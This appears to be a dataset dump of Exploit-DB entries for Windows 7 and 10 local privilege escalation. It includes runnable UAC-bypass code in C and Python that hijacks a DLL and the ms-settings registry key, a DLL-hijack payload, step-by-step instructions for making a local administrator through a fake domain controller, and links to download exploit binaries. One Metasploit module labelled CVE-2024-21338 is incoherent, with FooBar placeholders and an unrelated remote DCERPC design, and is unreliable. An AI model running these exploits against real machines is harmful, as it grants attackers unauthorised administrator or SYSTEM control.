deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45805
Description: Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)
Type: local
Platform: windows
Date: 2018-11-08
Author: Tenable NS

Exploit:
#include "stdafx.h"
#include <Windows.h>
#include "resource.h"

void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
	HMODULE hMod = GetModuleHandle(NULL);
	HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
	DWORD dllSize = SizeofResource(hMod, res);
	void* dllBuff = LoadResource(hMod, res);
	HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
	DWORD sizeOut;
	WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
	CloseHandle(hDll);
}

int main()
{
	_SHELLEXECUTEINFOW se = {};
	//Create Mock SystemRoot Directory
	CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
	CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0);
	CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false);

	//Drop our dll for hijack
	DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll");

	//Execute our winSAT.exe copy from fake trusted directory
	se.cbSize = sizeof(_SHELLEXECUTEINFOW);
	se.lpFile =  L"C:\\Windows \\System32\\winSAT.exe";
	se.lpParameters = L"formal";
	se.nShow = SW_HIDE;
	se.hwnd = NULL;
	se.lpDirectory = NULL;
	ShellExecuteEx(&se);

    	return 0;
}
Exploit-DB #46159
Description: Microsoft Windows 10 - DSSVC CanonicalAndValidateFilePath Security Feature Bypass
Type: local
Platform: windows
Date: 2019-01-14
Author: Google Security Research

Exploit:
Windows: DSSVC CanonicalAndValidateFilePath Security Feature Bypass
Platform: Windows 10 1803 and 1809.
Class: Security Feature Bypass/Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

NOTE: This is one of multiple issues I’m reporting in the same service. While I’ve tried to ensure all the bugs are effectively orthogonal from each other it’s possible that fixes for one thing might affect others. I’ve also not reported every possible problem with the service as at some point I had to stop. I’ve not determined if any of these issues could be abusable from a sandbox, most of the issues almost certainly can’t be due to the requirements for arbitrary file symlinks but it’s not impossible.

Summary: 

The Data Sharing Service’s check for the user passing UNC paths can be circumvented leading to a security feature bypass which can facilitate easier exploitation for privilege elevation.

Description:

During DSSCreateSharedFileTokenEx the path is passed to DSUtils::CanonicalAndValidateFilePath to canonicalize the path. This method also verifies that the passed path isn’t a UNC path (for reasons unknown). The UNC path check can be bypassed by using the \??\UNC\ form. When this is passed to PathAllocCanonicalize it returns it verbatim, however this path format isn’t considered a UNC path by PathIsUNCEx. However when passed to CreateFile etc it will be considered as if it was an \\?\UNC\ path format.

This could be useful for a few different attacks. For a start you could redirect the call to \\localhost\pipe\somepipe and get a named pipe handle bound to the SYSTEM user. Although I’ve not worked out a way of getting the handle back (as GetFinalPathFromHandle fails). Another attack vector is when going to an SMB share any directory junctions are resolved on the server, this would allow you to bypass any checks such as DSUtils::VerifyPathFromHandle as the returned path would be \\?\UNC\localhost\c$\blah.. Regardless of the final destination path opened. 

Proof of Concept:

I’ve provided a PoC as a C# project.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) Execute the poc, it will try and open c:\windows\notepad.exe via the C$ admin share.

Expected Result:
The path is considered invalid and DSSCreateSharedFileTokenEx fails. 


Observed Result:
The UNC path is opened.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46159.zip
Exploit-DB #46160
Description: Microsoft Windows 10 - DSSVC MoveFileInheritSecurity Privilege Escalation
Type: local
Platform: windows
Date: 2019-01-14
Author: Google Security Research

Exploit:
Windows: DSSVC MoveFileInheritSecurity Multiple Issues EoP
Platform: Windows 10 1803 and 1809.
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

NOTE: This is one of multiple issues I’m reporting in the same service. While I’ve tried to ensure all the bugs are effectively orthogonal from each other it’s possible that fixes for one thing might affect others. I’ve also not reported every possible problem with the service as at some point I had to stop. I’ve not determined if any of these issues could be abusable from a sandbox, most of the issues almost certainly can’t be due to the requirements for arbitrary file symlinks but it’s not impossible.

Summary: 

The Data Sharing Service MoveFileInheritSecurity method is broken leading to EoP.

Description:

The PolicyChecker::MoveFileInheritSecurity method is almost an exact copy of the code from the Storage Service which I exploited in MSRC cases 42121 and 42122. In fact I’d say it’s the same code copy and pasted. It has the exactly same bugs as the storage service version, specifically arbitrary file writes, due to the reverting call to MoveFileEx and arbitrary ACL setting by placing a hardlinked file in a directory with inheritable ACEs.

This method is called from DSSMoveToSharedFile and DSSMoveFromSharedFile. While those methods do some checking it’s still possible to bypass the checks. This results in the MoveFileInheritSecurity method being called as the SYSTEM user which results in EoP.

I’m saddened by the fact this wasn’t discovered during variant analysis from the Storage Service issues.

Proof of Concept:

I’ve provided a PoC as a C# project. It calls DSMoveFromSharedFile to modify the DACL of a hardlink arbitrary file granted write access to the user.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) Execute the PoC passing the path to a file the user can’t write on the command line (but can be written by SYSTEM).

Expected Result:
The call to move the file.


Observed Result:
The call to move file succeeds and the arbitrary file is now ACLS with the Everyone group for full access.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46160.zip
Exploit-DB #45660
Description: Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass)
Type: local
Platform: windows
Date: 2018-10-22
Author: Fabien DROMAS

Exploit:
#!/usr/bin/env python
#
# Exploit Title: Windows 10 UAC Bypass by computerDefault
# Date: 2018-10-18
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.microsoft.com
# Version: Version 10.0.17134.285
# Tested on: Windows 10 pro Version 10.0.17134.285
#

import os
import sys
import ctypes
import _winreg


def create_reg_key(key, value):
    try:        
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

def exec_bypass_uac(cmd):
    try:
        create_reg_key('DelegateExecute', '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def bypass_uac():        
 try:                
    current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
    cmd = "C:\windows\System32\cmd.exe"
    exec_bypass_uac(cmd)                
    os.system(r'C:\windows\system32\ComputerDefaults.exe')  
    return 1               
 except WindowsError:
    sys.exit(1)       

if __name__ == '__main__':

    if bypass_uac():
		print "Enjoy your Admin Shell :)"
Exploit-DB #47306
Description: Microsoft Windows 10 - SET_REPARSE_POINT_EX Mount Point Security Feature Bypass
Type: local
Platform: windows
Date: 2019-08-26
Author: Google Security Research

Exploit:
Windows: SET_REPARSE_POINT_EX Mount Point Security Feature Bypass
Platform: Windows 10 1903, 1809 (not tested earlier)
Class: Security Feature Bypass

Summary: 

The NTFS driver supports a new FS control code to set a mount point which the existing sandbox mitigation doesn’t support allowing a sandboxed application to set an arbitrary mount point symbolic link.

Description:

After multiple previous attempts the kernel mitigation against adding arbitrary NTFS mount points seems pretty robust. However due to the way it was implemented inside the IO manager in the kernel it is fragile to changes inside the filesystem drivers as the mitigation is only implemented when the FSCTL_SET_REPASE_POINT control code is used.

In this case at some point (based on headers probably RS1) a new FSCTL was added to NTFS, FSCTL_SET_REPARSE_POINT_EX to allow overwriting an existing reparse point without having to first delete it. This FSCTL has a different control code to the old one, therefore issuing it does not trigger the mitigation and an arbitrary mount point can be set from any sandboxed applications. This mount point could then facilitate further attacks, for example https://bugs.chromium.org/p/project-zero/issues/detail?id=1413 is probably now vulnerable again to drop an arbitrary file as the current user.

Fixing wise obviously you’d want to also detect this FSCTL and handle it in the mitigation. You’ll probably want to verify the NTFS implementation to check that it’s not possible to just change the data without specifying a valid tag when an existing tag is already set as the single optional flag you can specify isn’t exactly clear on this. You might also want to find a way of getting visibility on new changes which can affect symbolic link operations, as this is 3rd time this has happened recently (previously NPFS symlinks and global symlinks) that I know of.

Proof of Concept:

I’ve provided a PoC as a C# project. It will create a temporary directory, drop its token’s IL to Low then set that directory to be a mount point to the windows folder which would not normally be allowed.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC. 
3) The PoC should print the set mount point path.

Expected Result:
Setting the mount point should fail with access denied.

Observed Result:
The mount point is set to an arbitrary directory.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47306.zip
Exploit-DB #46716
Description: Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass
Type: local
Platform: windows
Date: 2019-04-16
Author: Google Security Research

Exploit:
Windows: LUAFV NtSetCachedSigningLevel Device Guard Bypass
Platform: Windows 10 1809 (not tested earlier). Note I’ve not tested this on Windows 10 SMode.
Class: Security Feature Bypass

Summary: 

The NtSetCachedSigningLevel system call can be tricked by the operation of LUAFV to apply a cached signature to an arbitrary file leading to a bypass of code signing enforcement under UMCI with Device Guard.

Description:

As I’ve hit this API multiple times by now I’m not going to explain its operation. The novel aspect of this issue is that you can get the LUAFV driver to win the signing race between reading the file to determine the hash to sign and the file the kernel EA is assigned to.

The exploit is as follows:

1) Create a file with the contents of a valid Microsoft signed file, such as notepad.exe in a virtualized location.
2) Get LUAFV to virtualize that file by requesting DELETE access. DELETE is not considered a write access right for the purposes of any checks in the signing process.
3) Copy the unsigned executable to the virtual store with the target virtualized name.
4) Call NtSetCachedSigningLevel on the virtualized file specifying flag 4. 

This sequence results in the signing code reading the virtualized file, which contains the contents of notepad.exe and generating the signature based on that data. However when it goes to write the kernel EA the LUAFV driver considers that a write operation and virtualizes the file underneath. As we’ve created an arbitrary file in the virtual store the driver binds the file object to the unsigned file before writing out the kernel EA. This results in the EA going to the unsigned file rather than the original signed file. As you can’t virtualize files with executable extensions you must ensure the signed file has an allowed extension, however once you’ve signed the file you can rename it to something more appropriate.

Note that I have checked that Windows 10 Pro SMode does load the LUAFV driver, however I’ve not checked that this bypass will work on it (but no reason to believe it doesn’t).

Proof of Concept:

I’ve provided a PoC as a C# project. It will sign an arbitrary DLL file the map it into memory with the Microsoft only signature mitigation enabled.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC passing the path to an unsigned DLL which will do something noticeable in DllMain (such as popping a message box).

Expected Result:
The cached signature operation fails.

Observed Result:
The an arbitrary file is cached signed and can be loaded with an elevated process signature level.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46716.zip
Exploit-DB #47684
Description: Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation
Type: local
Platform: windows
Date: 2019-11-14
Author: TomahawkAPT69

Exploit:
## EDB Note
Download:
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47684-1.exe
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47684-2.zip


# COMahawk
**Privilege Escalation: Weaponizing CVE-2019-1405 and CVE-2019-1322**

## Video Demo
https://vimeo.com/373051209

## Usage

### Compile or Download from Release (https://github.com/apt69/COMahawk/releases)

1. Run COMahawk.exe
2. ???
3. Hopefully profit

or

1. COMahawk.exe "custom command to run" (ie. COMahawk.exe "net user /add test123 lol123 &")
2. ???
3. Hopefully profit

## Concerns
**MSDN mentioned that only 1803 to 1903 is vulnerable to CVE-2019-1322. If it doesn't work, maybe it was patched.**

However, it is confirmed that my 1903 does indeed have this bug so maybe it was introduced somewhere inbetween. YMMV.

Also, since you are executing from a service - you most likely cannot spawn any Window hence all command will be "GUI-less". Maybe different session? Idk, it is too late and I am tired haha.

## Credits:
https://twitter.com/leoloobeek for helping me even when he doesn't even have a laptop

https://twitter.com/TomahawkApt69 for being the mental support and motivation

and most of all:

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/

for discovering and publishing the write up. 100% of the credit goes here.
Exploit-DB #51946
Description: Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation
Type: local
Platform: windows
Date: 2024-04-02
Author: E1 Coders

Exploit:
#############################################
# Exploit Title :  Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation
# Exploit Author: E1 Coders
# CVE: CVE-2024-21338
#############################################

 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::DCERPC::MS08_067::Artifact
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2024-21338 Exploit',
        'Description' => 'This module exploits a vulnerability in FooBar version 1.0. It may lead to remote code execution.',
        'Author' => 'You',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-21338']
        ]
      )
    )
 
    register_options(
      [
        OptString.new('RHOST', [true, 'The target address', '127.0.0.1']),
        OptPort.new('RPORT', [true, 'The target port', 1234])
      ]
    )
  end
 
  def check
    connect
 
    begin
      impacket_artifact(dcerpc_binding('ncacn_ip_tcp'), 'FooBar')
    rescue Rex::Post::Meterpreter::RequestError
      return Exploit::CheckCode::Safe
    end
 
    Exploit::CheckCode::Appears
  end
 
  def exploit
    connect
 
    begin
      impacket_artifact(
        dcerpc_binding('ncacn_ip_tcp'),
        'FooBar',
        datastore['FooBarPayload']
      )
    rescue Rex::Post::Meterpreter::RequestError
      fail_with Failure::UnexpectedReply, 'Unexpected response from impacket_artifact'
    end
 
    handler
    disconnect
  end
end
 
 
#refrence :  https://nvd.nist.gov/vuln/detail/CVE-2024-21338
Exploit-DB #40219
Description: Microsoft Windows 7 (x86/x64) - Group Policy Privilege Escalation (MS16-072)
Type: local
Platform: windows
Date: 2016-08-08
Author: Nabeel Ahmed

Exploit:
# Exploit Title: Group Policy Elevation of Privilege Vulnerability
# Date: 08-08-2016
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 Professional (x32/x64)
# CVE : CVE-2016-3223
# Category: Privilege Escalation

SPECIAL CONFIG: Standard Domain Member configuration with valid credentials. (Standard Domain User with valid credentials)
SUMMARY: This vulnerability allows an attacker to create/modify local Administrator account through a fake Domain Controller by creating User Configuration Group Policies.

1) Prerequisites:
			- Standard Windows 7 Fully patched and member of an existing domain. (e.g. domain.local)
			- Domain User Credentials are known with no Administrative rights.
			- Computer has to be connected on a network.
			- Fake Domain Controller
			
2) Reproduce:
	STEP 1: Determine domain of the target computer (e.g. domain.local)
	STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
	STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
	STEP 4: Create User with similar name and password as the target computer. (E.g. domain\USER1:password123!).
	STEP 5: Login on the target system with the known Username and Password without any network connection (using cached credentials).
	STEP 6: Establish network connection between the target system and the newly created Domain Controller.
	STEP 7: Create a Group Policy called "Create Local Admin"
	STEP 8: Edit the "Create Local Admin" Group Policy to create in the User Configuration section a new user called "TestAdmin" and add him to the group "Administrators".
	STEP 9: Open Command Prompt on the target system and execute the following command: "gpupdate /target:user /force"
	STEP 10: User Policy update will complete successfully.
	STEP 11: Confirm the newly created Administrator "TestAdmin" by executing the following command in Command Prompt: "net localgroup Administrators"
	STEP 12: "TestAdmin" user will be member of the Administrators group.
	
3) Impact:
	A regular Domain User can gain higher privileges on his system by creating a new administrator through Group Policies created on a fake Domain Controller

4) Solution:
	Install the latest patches from 14-06-2016 using Windows Update.

5) References:
	https://technet.microsoft.com/en-us/library/security/ms16-072.aspx
	https://support.microsoft.com/en-us/kb/3163622

6) Credits:
	Vulnerability discovered by Nabeel Ahmed (https://twitter.com/NabeelAhmedBE) and  Tom Gilis (https://twitter.com/tgilis) of Dimension Data (https://www.dimensiondata.com)
Exploit-DB #14733
Description: Microsoft Windows 7 - 'wab32res.dll wab.exe' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: TheLeader

Exploit:
/*
Exploit Title: Microsoft Windows 7 wab.exe DLL Hijacking Exploit (wab32res.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Version: 6.1.7600 and prior
Tested on: Windows 7 x86 (6.1.7600)

There's a chance this one works with vista.

Instructions:
Compile and rename to wab32res.dll, create a file in the same dir with one of the following extensions:
.vcf / .p7c / .group / .contact

Double click & watch a sexy calculator pop =X

*Random noises* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  evil();
  return 0;
}
Exploit-DB #39788
Description: Microsoft Windows 7 - 'WebDAV' Local Privilege Escalation (MS16-016) (2)
Type: local
Platform: windows
Date: 2016-05-09
Author: hex0r

Exploit:
# Exploit Title: WebDAV Elevation of Privilege Vulnerability (MS16)-2
# Date: 8/5/2016
# Exploit Author: hex0r
# Version:WebDAV on Windows 7 84x
# CVE : CVE-2016-0051


Intro:
Credits go to koczkatama for coding a PoC, however if you run this exploit
from shell connection, not a remote desktop, the result will be getting the
privileged shell in new GUI windows.

Again Thanks to
https://github.com/koczkatamas/CVE-2016-0051
https://www.exploit-db.com/exploits/39432/

PoC:
Download the source code (C#) also there will be compiled version as well,
copy the dll file and the executable to the target machine, run it to get
SYSTEM,


Proof of Concept:
https://github.com/hexx0r/CVE-2016-0051
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39788.zip